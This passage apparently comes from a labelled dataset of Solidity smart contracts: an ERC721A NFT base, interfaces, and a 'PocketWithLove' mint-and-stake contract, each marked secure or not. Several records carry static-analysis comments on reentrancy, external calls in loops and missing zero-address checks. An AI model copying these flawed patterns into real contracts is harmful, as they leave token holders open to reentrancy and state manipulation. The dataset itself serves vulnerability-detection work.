approved;\n\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _transfer(from, to, tokenId);\n\n if (to.isContract())\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex &&\n !_ownerships[tokenId].burned;\n }\n\n function _safeMint(address to, uint256 quantity) internal {\n _safeMint(to, quantity, \"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: df7b614): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for df7b614: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 01d3005): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 01d3005: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal {\n uint256 startTokenId = _currentIndex;\n\n if (to == address(0)) revert MintToZeroAddress();\n\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _addressData[to].balance += uint64(quantity);\n\n _addressData[to].numberMinted += uint64(quantity);\n\n _ownerships[startTokenId].addr = to;\n\n _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);\n\n uint256 updatedIndex = startTokenId;\n\n uint256 end = updatedIndex + quantity;\n\n if (to.isContract()) {\n do {\n\t\t\t\t\t// reentrancy-events | ID: df7b614\n emit Transfer(address(0), to, updatedIndex);\n\n if (\n\t\t\t\t\t\t// reentrancy-events | ID: df7b614\n\t\t\t\t\t\t// reentrancy-no-eth | ID: 01d3005\n !_checkContractOnERC721Received(\n address(0),\n to,\n updatedIndex++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (updatedIndex < end);\n\n if (_currentIndex != startTokenId) revert();\n } else {\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n }\n\n\t\t\t// reentrancy-no-eth | ID: 01d3005\n _currentIndex = updatedIndex;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n\n if (to == address(0)) revert MintToZeroAddress();\n\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _addressData[to].balance += uint64(quantity);\n\n _addressData[to].numberMinted += uint64(quantity);\n\n _ownerships[startTokenId].addr = to;\n\n _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);\n\n uint256 updatedIndex = startTokenId;\n\n uint256 end = updatedIndex + quantity;\n\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n\n _currentIndex = updatedIndex;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _transfer(address from, address to, uint256 tokenId) private {\n TokenOwnership memory prevOwnership = _ownershipOf(tokenId);\n\n if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();\n\n bool isApprovedOrOwner = (_msgSender() == from ||\n isApprovedForAll(from, _msgSender()) ||\n getApproved(tokenId) == _msgSender());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n _approve(address(0), tokenId, from);\n\n unchecked {\n _addressData[from].balance -= 1;\n\n _addressData[to].balance += 1;\n\n TokenOwnership storage currSlot = _ownerships[tokenId];\n\n currSlot.addr = to;\n\n currSlot.startTimestamp = uint64(block.timestamp);\n\n uint256 nextTokenId = tokenId + 1;\n\n TokenOwnership storage nextSlot = _ownerships[nextTokenId];\n\n if (nextSlot.addr == address(0)) {\n if (nextTokenId != _currentIndex) {\n nextSlot.addr = from;\n\n nextSlot.startTimestamp = prevOwnership.startTimestamp;\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n TokenOwnership memory prevOwnership = _ownershipOf(tokenId);\n\n address from = prevOwnership.addr;\n\n if (approvalCheck) {\n bool isApprovedOrOwner = (_msgSender() == from ||\n isApprovedForAll(from, _msgSender()) ||\n getApproved(tokenId) == _msgSender());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n _approve(address(0), tokenId, from);\n\n unchecked {\n AddressData storage addressData = _addressData[from];\n\n addressData.balance -= 1;\n\n addressData.numberBurned += 1;\n\n TokenOwnership storage currSlot = _ownerships[tokenId];\n\n currSlot.addr = from;\n\n currSlot.startTimestamp = uint64(block.timestamp);\n\n currSlot.burned = true;\n\n uint256 nextTokenId = tokenId + 1;\n\n TokenOwnership storage nextSlot = _ownerships[nextTokenId];\n\n if (nextSlot.addr == address(0)) {\n if (nextTokenId != _currentIndex) {\n nextSlot.addr = from;\n\n nextSlot.startTimestamp = prevOwnership.startTimestamp;\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n unchecked {\n _burnCounter++;\n }\n }\n\n function _approve(address to, uint256 tokenId, address owner) private {\n _tokenApprovals[tokenId] = to;\n\n emit Approval(owner, to, tokenId);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 979417e): ERC721A._checkContractOnERC721Received(address,address,uint256,bytes) has external calls inside a loop retval = IERC721Receiver(to).onERC721Received(_msgSender(),from,tokenId,_data)\n\t// Recommendation for 979417e: Favor pull over push strategy for external calls.\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n\t\t// reentrancy-events | ID: df7b614\n\t\t// calls-loop | ID: 979417e\n\t\t// reentrancy-no-eth | ID: 6ce8914\n\t\t// reentrancy-no-eth | ID: 01d3005\n\t\t// reentrancy-no-eth | ID: b433afb\n\t\t// reentrancy-no-eth | ID: 3db24bd\n\t\t// reentrancy-no-eth | ID: 49b4a7b\n\t\t// reentrancy-no-eth | ID: 9838f4e\n\t\t// reentrancy-no-eth | ID: d4fe6fb\n\t\t// reentrancy-no-eth | ID: 5625f92\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n}",
"file_name": "solidity_code_1281.sol",
"secure": 0,
"size_bytes": 15637
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ICantBeEvil {\n function getLicenseURI() external view returns (string memory);\n\n function getLicenseName() external view returns (string memory);\n}\n\nenum LicenseVersion {\n PUBLIC,\n EXCLUSIVE,\n COMMERCIAL,\n COMMERCIAL_NO_HATE,\n PERSONAL,\n PERSONAL_NO_HATE\n}",
"file_name": "solidity_code_1282.sol",
"secure": 1,
"size_bytes": 365
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"./ICantBeEvil.sol\" as ICantBeEvil;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\n\ncontract CantBeEvil is ERC165, ICantBeEvil {\n using Strings for uint;\n\n string internal constant _BASE_LICENSE_URI =\n \"ar://zmc1WTspIhFyVY82bwfAIcIExLFH5lUcHHUN0wXg4W8/\";\n\n LicenseVersion internal licenseVersion;\n\n constructor(LicenseVersion _licenseVersion) {\n licenseVersion = _licenseVersion;\n }\n\n function getLicenseURI() public view returns (string memory) {\n return\n string.concat(_BASE_LICENSE_URI, uint(licenseVersion).toString());\n }\n\n function getLicenseName() public view returns (string memory) {\n return _getLicenseVersionKeyByValue(licenseVersion);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165) returns (bool) {\n return\n interfaceId == type(ICantBeEvil).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function _getLicenseVersionKeyByValue(\n LicenseVersion _licenseVersion\n ) internal pure returns (string memory) {\n require(uint8(_licenseVersion) <= 6);\n\n if (LicenseVersion.PUBLIC == _licenseVersion) return \"PUBLIC\";\n\n if (LicenseVersion.EXCLUSIVE == _licenseVersion) return \"EXCLUSIVE\";\n\n if (LicenseVersion.COMMERCIAL == _licenseVersion) return \"COMMERCIAL\";\n\n if (LicenseVersion.COMMERCIAL_NO_HATE == _licenseVersion)\n return \"COMMERCIAL_NO_HATE\";\n\n if (LicenseVersion.PERSONAL == _licenseVersion) return \"PERSONAL\";\n else return \"PERSONAL_NO_HATE\";\n }\n}",
"file_name": "solidity_code_1283.sol",
"secure": 1,
"size_bytes": 1813
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC6551Registry {\n event ERC6551AccountCreated(\n address account,\n address indexed implementation,\n bytes32 salt,\n uint256 chainId,\n address indexed tokenContract,\n uint256 indexed tokenId\n );\n\n error AccountCreationFailed();\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cffa164): IERC6551Registry.createAccount(address,bytes32,uint256,address,uint256).account shadows IERC6551Registry.account(address,bytes32,uint256,address,uint256) (function)\n\t// Recommendation for cffa164: Rename the local variables that shadow another component.\n function createAccount(\n address implementation,\n bytes32 salt,\n uint256 chainId,\n address tokenContract,\n uint256 tokenId\n ) external returns (address account);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cffa164): IERC6551Registry.createAccount(address,bytes32,uint256,address,uint256).account shadows IERC6551Registry.account(address,bytes32,uint256,address,uint256) (function)\n\t// Recommendation for cffa164: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c66eea1): IERC6551Registry.account(address,bytes32,uint256,address,uint256).account shadows IERC6551Registry.account(address,bytes32,uint256,address,uint256) (function)\n\t// Recommendation for c66eea1: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c66eea1): IERC6551Registry.account(address,bytes32,uint256,address,uint256).account shadows IERC6551Registry.account(address,bytes32,uint256,address,uint256) (function)\n\t// Recommendation for c66eea1: Rename the local variables that shadow another component.\n function account(\n address implementation,\n bytes32 salt,\n uint256 chainId,\n address tokenContract,\n uint256 tokenId\n ) external view returns (address account);\n}",
"file_name": "solidity_code_1284.sol",
"secure": 0,
"size_bytes": 2107
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IOperatorAccessControl {\n event RoleGranted(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n event RoleRevoked(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n function hasRole(\n bytes32 role,\n address account\n ) external view returns (bool);\n\n function isOperator(address account) external view returns (bool);\n\n function addOperator(address account) external;\n\n function revokeOperator(address account) external;\n}",
"file_name": "solidity_code_1285.sol",
"secure": 1,
"size_bytes": 656
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IOperatorAccessControl.sol\" as IOperatorAccessControl;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract OperatorAccessControl is IOperatorAccessControl, Ownable {\n struct RoleData {\n mapping(address => bool) members;\n bytes32 adminRole;\n }\n\n mapping(bytes32 => RoleData) private _roles;\n\n bytes32 public constant OPERATOR_ROLE = keccak256(\"OPERATOR_ROLE\");\n\n function hasRole(\n bytes32 role,\n address account\n ) public view override returns (bool) {\n return _roles[role].members[account];\n }\n\n function _grantRole(bytes32 role, address account) private {\n if (!hasRole(role, account)) {\n _roles[role].members[account] = true;\n\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n function _revokeRole(bytes32 role, address account) private {\n if (hasRole(role, account)) {\n _roles[role].members[account] = false;\n\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n\n modifier isOperatorOrOwner() {\n address _sender = _msgSender();\n\n require(\n isOperator(_sender) || owner() == _sender,\n \"OperatorAccessControl: caller is not operator or owner\"\n );\n\n _;\n }\n\n modifier onlyOperator() {\n require(\n isOperator(_msgSender()),\n \"OperatorAccessControl: caller is not operator\"\n );\n\n _;\n }\n\n function isOperator(address account) public view override returns (bool) {\n return hasRole(OPERATOR_ROLE, account);\n }\n\n function _addOperator(address account) internal virtual {\n _grantRole(OPERATOR_ROLE, account);\n }\n\n function addOperator(address account) public override onlyOperator {\n _grantRole(OPERATOR_ROLE, account);\n }\n\n function revokeOperator(address account) public override onlyOperator {\n _revokeRole(OPERATOR_ROLE, account);\n }\n}",
"file_name": "solidity_code_1286.sol",
"secure": 1,
"size_bytes": 2230
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IAccountProxy {\n function initialize(address implementation) external;\n}",
"file_name": "solidity_code_1287.sol",
"secure": 1,
"size_bytes": 149
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"./OperatorAccessControl.sol\" as OperatorAccessControl;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"./CantBeEvil.sol\" as CantBeEvil;\n\ncontract PocketWithLove is\n ERC721A,\n OperatorAccessControl,\n ReentrancyGuard,\n CantBeEvil\n{\n bytes32 public _kycMintMerkleRoot;\n\n bytes32 public _preMintMerkleRoot;\n\n mapping(uint256 => uint256) private stakeStarted;\n\n mapping(uint256 => uint256) private stakeTotal;\n\n mapping(address => uint256) private addressMintCount;\n\n uint256 private _kycMintLimit = 0;\n\n uint256 private _preMintLimit = 0;\n\n uint256 private _publicMintLimit = 0;\n\n uint256 private _superMintLimit = 0;\n\n uint256 private _addressMintLimit = 0;\n\n uint256 private _kycMintCount;\n\n uint256 private _preMintCount;\n\n uint256 private _publicMintCount;\n\n uint256 private _superMintCount;\n\n uint256 private _kycMintPrice = 0;\n\n uint256 private _preMintPrice = 0;\n\n uint256 private _publicMintPrice = 0;\n\n bool private _kycMintOpen = false;\n\n bool private _preMintOpen = false;\n\n bool private _publicMintOpen = false;\n\n bool private _superMintOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5e5ccd3): PocketWithLove._totalSupply should be constant \n\t// Recommendation for 5e5ccd3: Add the 'constant' attribute to state variables that never change.\n uint256 _totalSupply = 2500;\n\n uint256 _totalTokens;\n\n bool private _transferOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: c2abd43): PocketWithLove._nftName should be constant \n\t// Recommendation for c2abd43: Add the 'constant' attribute to state variables that never change.\n string private _nftName = \"Pocket with Love\";\n\n string private _baseUri =\n \"https://s3.ap-southeast-1.amazonaws.com/traditionow-assets/traditionow-assets/PocketWithLove\";\n\n address erc6551RegistryAddress;\n\n address erc6551AccountProxyAddress;\n\n address erc6551ImplementationAddress;\n\n uint256 erc6551ChainId;\n\n constructor()\n ERC721A(_nftName, _nftName)\n Ownable()\n CantBeEvil(LicenseVersion.PUBLIC)\n {\n _addOperator(_msgSender());\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bd7970b): PocketWithLove.setERC6551Config(address,address,address,uint256)._erc6551RegistryAddress lacks a zerocheck on \t erc6551RegistryAddress = _erc6551RegistryAddress\n\t// Recommendation for bd7970b: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9ed89b3): PocketWithLove.setERC6551Config(address,address,address,uint256)._erc6551AccountProxyAddress lacks a zerocheck on \t erc6551AccountProxyAddress = _erc6551AccountProxyAddress\n\t// Recommendation for 9ed89b3: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2bbc783): PocketWithLove.setERC6551Config(address,address,address,uint256)._erc6551ImplementationAddress lacks a zerocheck on \t erc6551ImplementationAddress = _erc6551ImplementationAddress\n\t// Recommendation for 2bbc783: Check that the address is not zero.\n function setERC6551Config(\n address _erc6551RegistryAddress,\n address _erc6551AccountProxyAddress,\n address _erc6551ImplementationAddress,\n uint256 chainID\n ) public onlyOperator {\n\t\t// missing-zero-check | ID: bd7970b\n erc6551RegistryAddress = _erc6551RegistryAddress;\n\n\t\t// missing-zero-check | ID: 9ed89b3\n erc6551AccountProxyAddress = _erc6551AccountProxyAddress;\n\n\t\t// missing-zero-check | ID: 2bbc783\n erc6551ImplementationAddress = _erc6551ImplementationAddress;\n\n erc6551ChainId = chainID;\n }\n\n function createTBA(uint256 tokenId) public returns (address) {\n require(\n _ownershipOf(tokenId).addr == _msgSender(),\n \"error:10005 Not owner\"\n );\n\n address tba = IERC6551Registry(erc6551RegistryAddress).createAccount(\n erc6551AccountProxyAddress,\n 0,\n erc6551ChainId,\n address(this),\n tokenId\n );\n\n IAccountProxy(tba).initialize(erc6551ImplementationAddress);\n\n return tba;\n }\n\n function getMintCount()\n public\n view\n returns (\n uint256 kycMintCount,\n uint256 preMintCount,\n uint256 publicMintCount,\n uint256 superMintCount\n )\n {\n kycMintCount = _kycMintCount;\n\n preMintCount = _preMintCount;\n\n publicMintCount = _publicMintCount;\n\n superMintCount = _superMintCount;\n }\n\n function setMerkleRoot(\n bytes32 kycMintMerkleRoot,\n bytes32 preMintMerkleRoot\n ) public onlyOperator {\n _kycMintMerkleRoot = kycMintMerkleRoot;\n\n _preMintMerkleRoot = preMintMerkleRoot;\n }\n\n function isWhitelist(\n bytes32[] calldata kycMerkleProof,\n bytes32[] calldata preMerkleProof\n ) public view returns (bool isKycWhitelist, bool isPreWhitelist) {\n isKycWhitelist = MerkleProof.verify(\n kycMerkleProof,\n _kycMintMerkleRoot,\n keccak256(abi.encodePacked(msg.sender))\n );\n\n isPreWhitelist = MerkleProof.verify(\n preMerkleProof,\n _preMintMerkleRoot,\n keccak256(abi.encodePacked(msg.sender))\n );\n }\n\n function setMintLimit(\n uint256 kycMintLimit,\n uint256 preMintLimit,\n uint256 publicMintLimit,\n uint256 addressMintLimit,\n uint256 superMintLimit\n ) public onlyOperator {\n _kycMintLimit = kycMintLimit;\n\n _preMintLimit = preMintLimit;\n\n _publicMintLimit = publicMintLimit;\n\n _addressMintLimit = addressMintLimit;\n\n _superMintLimit = superMintLimit;\n }\n\n function getMintLimit()\n public\n view\n returns (\n uint256 kycMintLimit,\n uint256 preMintLimit,\n uint256 publicMintLimit,\n uint256 addressMintLimit,\n uint256 superMintLimit\n )\n {\n kycMintLimit = _kycMintLimit;\n\n preMintLimit = _preMintLimit;\n\n publicMintLimit = _publicMintLimit;\n\n addressMintLimit = _addressMintLimit;\n\n superMintLimit = _superMintLimit;\n }\n\n function setMintPrice(\n uint256 kycMintPrice,\n uint256 preMintPrice,\n uint256 publicMintPrice\n ) public onlyOperator {\n _kycMintPrice = kycMintPrice;\n\n _preMintPrice = preMintPrice;\n\n _publicMintPrice = publicMintPrice;\n }\n\n function getMintPrice()\n public\n view\n returns (\n uint256 kycMintPrice,\n uint256 preMintPrice,\n uint256 publicMintPrice\n )\n {\n kycMintPrice = _kycMintPrice;\n\n preMintPrice = _preMintPrice;\n\n publicMintPrice = _publicMintPrice;\n }\n\n function setSwith(\n bool kycMintOpen,\n bool preMintOpen,\n bool publicMintOpen,\n bool transferOpen,\n bool superMintOpen\n ) public onlyOperator {\n _kycMintOpen = kycMintOpen;\n\n _preMintOpen = preMintOpen;\n\n _publicMintOpen = publicMintOpen;\n\n _transferOpen = transferOpen;\n\n _superMintOpen = superMintOpen;\n }\n\n function getSwith()\n public\n view\n returns (\n bool kycMintOpen,\n bool preMintOpen,\n bool publicMintOpen,\n bool transferOpen,\n bool superMintOpen\n )\n {\n kycMintOpen = _kycMintOpen;\n\n preMintOpen = _preMintOpen;\n\n publicMintOpen = _publicMintOpen;\n\n transferOpen = _transferOpen;\n\n superMintOpen = _superMintOpen;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: b433afb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for b433afb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _handleMint(address to) internal {\n require(\n addressMintCount[to] < _addressMintLimit,\n \"error:10003 already claimed\"\n );\n\n require(\n _totalTokens < _totalSupply,\n \"error:10010 Exceeding the total amount\"\n );\n\n\t\t// reentrancy-no-eth | ID: b433afb\n _safeMint(to, 1);\n\n\t\t// reentrancy-no-eth | ID: b433afb\n addressMintCount[to] = addressMintCount[to] + 1;\n\n\t\t// reentrancy-no-eth | ID: b433afb\n _totalTokens = _totalTokens + 1;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 5625f92): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 5625f92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function kycMint(\n bytes32[] calldata merkleProof,\n uint256 count\n ) public payable nonReentrant {\n require(count >= 1, \"error:10010 Must be greater than 1\");\n\n require(\n msg.value == _kycMintPrice * count,\n \"error:10000 msg.value is incorrect\"\n );\n\n require(_kycMintOpen, \"error:10001 switch off\");\n\n require(\n MerkleProof.verify(\n merkleProof,\n _kycMintMerkleRoot,\n keccak256(abi.encodePacked(msg.sender))\n ),\n \"error:10002 not in the whitelist\"\n );\n\n for (uint256 i = 0; i < count; i++) {\n require(\n _kycMintCount < _kycMintLimit,\n \"error:10004 Reach the limit\"\n );\n\n\t\t\t// reentrancy-no-eth | ID: 5625f92\n _handleMint(_msgSender());\n\n\t\t\t// reentrancy-no-eth | ID: 5625f92\n _kycMintCount = _kycMintCount + 1;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 6ce8914): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 6ce8914: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function preMint(\n bytes32[] calldata merkleProof,\n uint256 count\n ) public payable nonReentrant {\n require(count >= 1, \"error:10010 Must be greater than 1\");\n\n require(\n msg.value == _preMintPrice * count,\n \"error:10000 msg.value is incorrect\"\n );\n\n require(_preMintOpen, \"error:10001 switch off\");\n\n require(\n MerkleProof.verify(\n merkleProof,\n _preMintMerkleRoot,\n keccak256(abi.encodePacked(msg.sender))\n ),\n \"error:10002 not in the whitelist\"\n );\n\n for (uint256 i = 0; i < count; i++) {\n require(\n _preMintCount < _preMintLimit,\n \"error:10004 Reach the limit\"\n );\n\n\t\t\t// reentrancy-no-eth | ID: 6ce8914\n _handleMint(_msgSender());\n\n\t\t\t// reentrancy-no-eth | ID: 6ce8914\n _preMintCount = _preMintCount + 1;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 3db24bd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 3db24bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function publicMint(uint256 count) public payable nonReentrant {\n require(count >= 1, \"error:10010 Must be greater than 1\");\n\n require(\n msg.value == _publicMintPrice * count,\n \"error:10000 msg.value is incorrect\"\n );\n\n require(_publicMintOpen, \"error:10001 switch off\");\n\n for (uint256 i = 0; i < count; i++) {\n require(\n _publicMintCount < _publicMintLimit,\n \"error:10004 Reach the limit\"\n );\n\n\t\t\t// reentrancy-no-eth | ID: 3db24bd\n _handleMint(_msgSender());\n\n\t\t\t// reentrancy-no-eth | ID: 3db24bd\n _publicMintCount = _publicMintCount + 1;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9838f4e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9838f4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function operatorMint(\n address[] memory toAddresses,\n uint256[] memory amounts\n ) public onlyOperator {\n require(\n toAddresses.length == amounts.length,\n \"error:10033 toAddresses length does not match amounts length\"\n );\n\n uint256 _len = toAddresses.length;\n\n for (uint256 _i; _i < _len; _i++) {\n address to = toAddresses[_i];\n\n uint256 amount = amounts[_i];\n\n for (uint256 j = 0; j < amount; j++) {\n require(\n _totalTokens < _totalSupply,\n \"error:10010 Exceeding the total amount\"\n );\n\n\t\t\t\t// reentrancy-no-eth | ID: 9838f4e\n _safeMint(to, 1);\n\n\t\t\t\t// reentrancy-no-eth | ID: 9838f4e\n _totalTokens = _totalTokens + 1;\n }\n }\n }\n\n function getCanMintCount(address user) external view returns (uint256) {\n return _addressMintLimit - addressMintCount[user];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: f9ed047): PocketWithLove.stakePeriod(uint256) uses timestamp for comparisons Dangerous comparisons start != 0\n\t// Recommendation for f9ed047: Avoid relying on 'block.timestamp'.\n function stakePeriod(\n uint256 tokenId\n ) external view returns (bool isStake, uint256 current, uint256 total) {\n uint256 start = stakeStarted[tokenId];\n\n\t\t// timestamp | ID: f9ed047\n if (start != 0) {\n isStake = true;\n\n current = block.timestamp - start;\n }\n\n total = current + stakeTotal[tokenId];\n }\n\n function getStakeTime(uint256 tokenId) public view returns (uint256) {\n return stakeStarted[tokenId];\n }\n\n bool public stakeOpen = false;\n\n function setStakeOpen(bool open) external onlyOperator {\n stakeOpen = open;\n }\n\n event Staked(uint256 indexed tokenId, uint256 indexed time);\n\n event UnStaked(uint256 indexed tokenId, uint256 indexed time);\n\n function stake(uint256[] calldata tokenIds) external {\n require(stakeOpen, \"error:10006 stake closed\");\n\n uint256 n = tokenIds.length;\n\n for (uint256 i = 0; i < n; ++i) {\n uint256 tokenId = tokenIds[i];\n\n require(\n _ownershipOf(tokenId).addr == _msgSender(),\n \"error:10005 Not owner\"\n );\n\n uint256 start = stakeStarted[tokenId];\n\n if (start == 0) {\n stakeStarted[tokenId] = block.timestamp;\n\n emit Staked(tokenId, block.timestamp);\n }\n }\n }\n\n function unStake(uint256[] calldata tokenIds) external {\n uint256 n = tokenIds.length;\n\n for (uint256 i = 0; i < n; ++i) {\n uint256 tokenId = tokenIds[i];\n\n require(\n _ownershipOf(tokenId).addr == _msgSender(),\n \"error:10005 Not owner\"\n );\n\n uint256 start = stakeStarted[tokenId];\n\n if (start > 0) {\n stakeTotal[tokenId] += block.timestamp - start;\n\n stakeStarted[tokenId] = 0;\n\n emit UnStaked(tokenId, block.timestamp);\n }\n }\n }\n\n function operatorUnStake(\n uint256[] calldata tokenIds\n ) external onlyOperator {\n uint256 n = tokenIds.length;\n\n for (uint256 i = 0; i < n; ++i) {\n uint256 tokenId = tokenIds[i];\n\n uint256 start = stakeStarted[tokenId];\n\n if (start > 0) {\n stakeTotal[tokenId] += block.timestamp - start;\n\n stakeStarted[tokenId] = 0;\n\n emit UnStaked(tokenId, block.timestamp);\n }\n }\n }\n\n uint256 private stakeTransfer = 1;\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d4fe6fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d4fe6fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function safeTransferWhileStake(\n address from,\n address to,\n uint256 tokenId\n ) external {\n require(ownerOf(tokenId) == _msgSender(), \"error:10005 Not owner\");\n\n stakeTransfer = 2;\n\n\t\t// reentrancy-no-eth | ID: d4fe6fb\n safeTransferFrom(from, to, tokenId);\n\n\t\t// reentrancy-no-eth | ID: d4fe6fb\n stakeTransfer = 1;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ce555fa): Dangerous 